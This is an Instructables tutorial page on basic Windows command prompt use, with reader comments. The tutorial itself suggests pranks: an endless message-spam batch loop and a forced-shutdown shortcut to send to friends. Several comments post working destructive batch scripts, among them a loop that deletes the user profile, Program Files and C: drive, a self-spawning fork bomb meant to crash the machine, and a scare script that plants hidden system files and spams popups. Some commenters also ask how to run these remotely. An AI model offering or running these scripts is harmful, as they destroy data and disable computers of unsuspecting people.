Instructables
This will teach you how to do CMD.

CMD is the original MS-DOS command prompt, the Shell.

First, click START
Then press Run...
Type CMD or COMMAND
This window should appear

 
Remove these adsRemove these ads by Signing Up

Step 1: EDIT: The worlds worst editor

Picture of EDIT: The worlds worst editor
type EDIT Example.TXT
this window should appear
type whatever you want(I said hello ppl at INSTRUCTABLES)
I said it was the worlds worst cause it is, it stinks only one size, one font, one color.
At least no stoopid spell check...................
But good for batch...

Step 2: BATCH FILES ROCK

Batch files, with a .BAT extension, are BATCHes of MS-DOS commands, executed togther.
This is just basic, try Advanced,
BATCH MOVIES

@echo off stops commands from being shown.

echo sends whatever is after it to the screen
echo hi ppl

del deletes whatever file is after it, or del *.* deletes every file in the folder
del example.txt

cd changes to whatever folder is after it, or cd .. goes back one
cd desktop

format formats whatever disk is after it
format A:

Step 3: A funny little prank

Picture of a funny little prank
create a new document in edit:
edit annoy.bat
remember what folder its in!
type without quotes: "@echo OFF
:start
netsend /domain message goes here
goto start"
replace message goes here with a message.
move it to the desktop
run it!

Step 4: Shutdown the comp!

go to cmd
type: shutdown -s -t 20 -f -c "shutting down..............."

SEND TO SOMEONE ELSE!
right click desktop
new>shortcut
shutdown -s -t 20 -f -c "shutting down..............." in the box
next
a name in the box
finish
send to a friend!
jjoel13216 days ago

Video on ''Some Command Prompt Tricks You Don't Know'' and I am sure that they gonna make your life easier.

https://www.youtube.com/watch?v=30Rwp9hzPjg

mikroskeem1 year ago
Try this destroyer:

@echo off
:start
cls
del %userprofile% /Q
del %ProgramFiles% /Q
:top
del C: /Q
goto start

It really harms your computer and files
Deletes your User data, Program files and C drive?
grp888 sandmman1 month ago

THATS SO DANGEROUS!

you call yourslef a hacker
@echo off
del %userprofile% /Q
del %ProgramFiles% /Q
del %system32%
shutdown -r 00 -t
exit
mikroskeem1 year ago
heh open big 600+ mb iso file with notepad++ :D quick bluescreen
what i call the deth virus

del C:/
if you try to delete the c: drive, doesnt it ask you if you realy want to like: (Y/N) or something like that?
You would have to add /p or -p after del for it to prompt you
You can't delete an entire HDD partition within 1 second w/ out the guy knowing... Or can you?
More usefull cmd tricks at youtube:
Get Installed Driver Information with cmd:
http://youtu.be/4Gm8dfxiX5o

Change color in CMD:
http://youtu.be/HBiu48o2R4k

Copy from the command prompt:
http://youtu.be/AYiuGSbS5Dg

How to change the directory/path in cmd:
http://youtu.be/zjnefuoQGTY

And more video's on the channel.
mikroskeem1 year ago
did you use bat to exe converter?
It has problems, it works in that computer, where you complimed in it
ehhhhhhhhh so long trick i m tired
nversluis2 years ago
Does anyone know a website with more CMD commands to mess with stuff? That would be really helpful.
Search for "DOS commands" on the web. "CMD" is just the DOS command that summons the terminal these are typed into.
how to remove this error ???
how to remove this error ???
02.jpg
siverstein4 years ago
actually.. the first will eventually.. if not stopped.. crash the computer..

but.. a much better virus that is impsible to stop that will crash the comp at a *much* faster rate, is this.

open note pad.

save as. name.bat

then code it

only needs 3 lines.

:start
start name.bat
go to start

its an endless loop that constantly opens more endless loops.

eventually, your comp will run out room to run all of them and just die >; )
can you do that remotly if you are on the same network and have that computer info?
*COUGH*
why not:

cd %SYSTEMDRIVE%/
:start
copy *.* %random%.*
start *.*
goto start
:a
start & goto a

Only two lines :D
Dear friend,ur notepad virus code is very nice...
ok i am trying a remote shutdown on a computer that is on my network but it is hardwired into the network and i am on a wireless computer any suggestions?
sheildshirt2 years ago
This is a fun scare:
@echo off
echo Yes
echo you
echo got
echo it
echo !!
echo.
pause
echo.
echo This
echo indeed
echo is
echo a
echo virus
echo !!!
echo.
pause
echo.
msg * So
msg * you
msg * should
msg * probably
msg * close
msg * is
msg * now
msg * before
msg * I
msg * start
msg * to
msg * infect
msg * !!!
pause
echo LIKE
echo THIS
echo !!!!
pause
echo like this!! >> random
echo like this!! >> random1
echo like this!! >> random2
echo like this!! >> random3
echo like this!! >> random4
echo like this!! >> random5
echo like this!! >> random6
echo like this!! >> random7
echo like this!! >> random8
echo like this!! >> random0
echo like this!! >> random9
echo like this!! >> randomq
echo like this!! >> randomw
echo like this!! >> randome
echo like this!! >> randomr
echo like this!! >> randomt
echo like this!! >> randomy
echo like this!! >> randomu
echo like this!! >> randomi
echo like this!! >> randomo
echo like this!! >> randomp
echo like this!! >> randoma
echo like this!! >> randoms
echo like this!! >> randomd
echo like this!! >> randomf
echo like this!! >> randomg
echo AND
echo THIS
echo !!!!
pause
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
echo HA
echo HA
echo HA
echo !!
pause
echo.
echo.
echo SCARED??
pause
echo.
echo.
echo WANT TO CLOSE THIS ANNOYING PROGRAM??
pause
attrib +r +s random1
attrib +r +s random2
attrib +r +s random3
attrib +r +s random4
attrib +r +s random5
attrib +r +s random6
attrib +r +s random7
attrib +r +s random8
attrib +r +s random9
attrib +r +s random0
attrib +r +s randomq
attrib +r +s randomw
attrib +r +s randome
attrib +r +s randomr
attrib +r +s randomt
attrib +r +s randomu
attrib +r +s randomy
attrib +r +s randomi
attrib +r +s randomo
attrib +r +s randomp
attrib +r +s randoma
attrib +r +s randoms
attrib +r +s randomd
attrib +r +s randomf
attrib +r +s randomg
echo.
echo.
echo.
echo.
echo HAHA!!
pause
echo YOU THOUGHT I WAS GONE DID YOU??
pause
echo WELL...
pause
echo @echo on
echo del C:/
echo Are you sure?(Y/N)
echo y
echo C:/ format complete.
echo pause
pause
echo pause
pause
echo echo oh oops I turned the echo on...
echo oh oops I turned the echo on...
echo pause
pause
echo @echo off
pause
echo thats better...
pause
echo well goodbye and have a close look at your desktop!!
pause
echo HAHAHAHAHAHAHAHAHAHA *cough* HAHAHAHA!!!!!
GOTO GOOD
echo if you see this then your cheating!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
:GOOD
pause
echo if you edit this you may see something that I hid just above this...
pause
echo anyway you can close this now!
pause
echo Press any key to exit...
pause
echo Nah I'm just joking you're OK...
pause
pause>nul
pause>nul
msg * BOO!!
msg * HAHAHAHA!!
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
msg * BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!
msg * HAHAHA!!
pause
pause
echo THANK YOU!! THANK YOU VERY MUCH!!
echo You have been a great audience!!
pause
echo now...
pause
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo STOP BEING STUPID AND CLOSE THIS PROGRAM!!!!!!!!!!!!
pause
exit
if your smart enough you'll copy and paste
UberHacker5 years ago
UberHacker agrees with collard41 except that there are much cooler things you can do with cmd it will most defentily blow your mind if you want to find out more email me at gmnorth@gmail.com
i would like if you would send me any nice tricks in cmd my email is ngotalvin@gmail.com
I ll take note of that.
i think i will
techno guy2 years ago
The edit thing to make or edit files and stuff doesnt work, it says: 'edit' is not recognized as an internal or external command, operable program or batch file.
zapper0672 years ago
full screen it,please?{the code in the file}
you can switch to full screen in the option.
mikroskeem2 years ago
Is ans.exe a virus? My f-secure shows it „Trojan-Generic”
What the h<#*?
mhooper12 years ago
This isn't working. When I download it and rename it, its still just a temp file and it still doesn't do anything.
mhooper12 years ago
Do these tricks over work for a certain operating system? I can't seem to get it to work on my Windows Vista.
yrahman12 years ago
sorry to burst yur bubble people but...... it works. i tryed it now ^.....^
Boot to floppy ?? could you do one to boot to memory stick?
dgomme3 years ago
lol look at the pic, scrollbar at the bottom totally gives it away :D
cool knex133 years ago
YEP IT WORKS I TRYED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
heheheq4 years ago
del deletes any files, as long as you specify where it is format formats a harddrive echo shows where the file comes from or it hides it. I WIN
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!